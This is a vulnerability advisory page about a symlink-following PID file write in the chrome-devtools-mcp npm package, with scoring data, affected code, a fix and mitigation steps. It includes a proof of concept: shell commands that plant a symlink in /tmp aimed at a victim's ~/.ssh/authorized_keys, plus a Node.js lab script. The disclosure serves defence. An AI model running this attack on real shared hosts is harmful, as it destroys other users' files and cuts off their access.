Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directoryGHSA-3pvj-jv98-qhjq

MEDIUM

GHSA-3pvj-jv98-qhjq is a medium-severity (CVSS 6.1) CWE-59 vulnerability in chrome-devtools-mcp. A fix is available for chrome-devtools-mcp — see the affected versions and patch details below.

Also known asCVE-2026-53765
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 30, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-3pvj-jv98-qhjq.

EPSS Exploitation Probability

via FIRST.org ↗
0.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs1th percentile — riskier than 1% of all scored CVEsHighest risk
0.00%0.20%0.40%0.60%0.1%0.1%0.1%0.1%0.1%Jul 26Sep 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-3pvj-jv98-qhjq by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 398,142 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

56other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
chrome-devtools-mcpnpm
2.8Mdownloads / week

Description

Summary

The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.

Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.

This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDG_RUNTIME_DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.

Details

Affected code:

src/daemon/daemon.ts:38-42

const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
  recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());

src/daemon/utils.ts:49-68

export function getRuntimeHome(sessionId: string): string {
  const platform = os.platform();
  const uid = os.userInfo().uid;
  const suffix = sessionId ? `-${sessionId}` : '';
  const appName = APP_NAME + suffix;

  if (process.env.XDG_RUNTIME_DIR) {
    return path.join(process.env.XDG_RUNTIME_DIR, appName);
  }

  if (platform === 'darwin' || platform === 'linux') {
    return path.join('/tmp', `${appName}-${uid}`);
  }

  return path.join(os.tmpdir(), appName);
}

The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victim_uid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.

Preconditions:

  • The victim is on a typical macOS environment where $XDG_RUNTIME_DIR is unset, or on a Linux system/session where $XDG_RUNTIME_DIR is unset.
  • The attacker has any local user account on the same host.
  • The victim later runs a chrome-devtools CLI path or MCP integration that starts daemon mode.

PoC

Realistic POSIX scenario:

# Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
      "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"

# Victim later starts daemon mode.
chrome-devtools start

# Result:
# fs.writeFileSync follows the symlink, so authorized_keys is truncated to
# the daemon PID string.

Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab-* directory:

const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try {
  fs.chmodSync(lab, 0o755);

  const victimSecret = path.join(lab, 'victim-secret.txt');
  fs.writeFileSync(
    victimSecret,
    'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
  );

  const runtimeDir = path.join(lab, 'attacker-pre-created');
  fs.mkdirSync(runtimeDir, {recursive: true});

  const pidFilePath = path.join(runtimeDir, 'daemon.pid');
  fs.symlinkSync(victimSecret, pidFilePath);

  // Exact pattern from src/daemon/daemon.ts:39-42.
  fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
  fs.writeFileSync(pidFilePath, process.pid.toString());

  console.log(fs.readFileSync(victimSecret, 'utf8'));
  // -> "<pid>"  (victim file was truncated/overwritten)
} finally {
  fs.rmSync(lab, {recursive: true, force: true});
}

Observed output from the lab PoC:

[setup] victim secret BEFORE attack:
  IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>
[victim ran daemon] victim secret AFTER:
  <pid>
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.

I can provide the standalone pidfile_symlink_poc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.

Impact

Who can exploit:

Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when $XDG_RUNTIME_DIR is unset for that user session.

Security impact:

  • Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.
  • Availability: critical user configuration files can be corrupted until restored from backup.
  • Confidentiality: none directly; the written content is only the PID string.

Example targets affected by truncation:

  • ~/.ssh/authorized_keys, causing the victim to lose SSH access.
  • ~/.bashrc, ~/.zshrc, or ~/.profile, breaking shell startup.
  • Project .env, secrets.json, license files, or line-oriented config files.
  • Logs or local audit files writable by the victim.

Suggested fix:

Open the PID file with O_NOFOLLOW and validate runtime directory ownership/permissions before writing:

import {constants, openSync, writeSync, closeSync} from 'node:fs';

const fd = openSync(
  pidFilePath,
  constants.O_WRONLY |
    constants.O_CREAT |
    constants.O_TRUNC |
    constants.O_NOFOLLOW,
  0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmchrome-devtools-mcp≥ 0.20.0&&< 1.1.01.1.0npm install chrome-devtools-mcp@1.1.0

Affected Products

1 product · 1 configurations
Application
chrome-devtools-mcpgoogle
≥ 0.20.0 && < 1.1.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for chrome-devtools-mcp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update chrome-devtools-mcp to 1.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3pvj-jv98-qhjq is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary The chrome-devtools-mcp daemon writes its PID file with `fs.writeFileSync()` to a deterministic runtime path. On typical macOS environments, and on Linux sessions where `$XDG_RUNTIME_DIR` is unset, that runtime path falls back to `/tmp/chrome-devtools-mcp-<uid>/daemon.pid`. Because the write does not use `O_NOFOLLOW`, a local low-privilege user on the same POSIX host can pre-create `/tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid` as a symlink to a file writable by the victim. When the victim later starts daemon mode, `fs.writeFileSync()` follows the symlink and truncates the ta
O3 Security · Impact-Aware SCA

Is GHSA-3pvj-jv98-qhjq in your dependencies?

Find it across npm, including transitive dependencies.

Chrome DevTools for agents: daemon.pid write follows…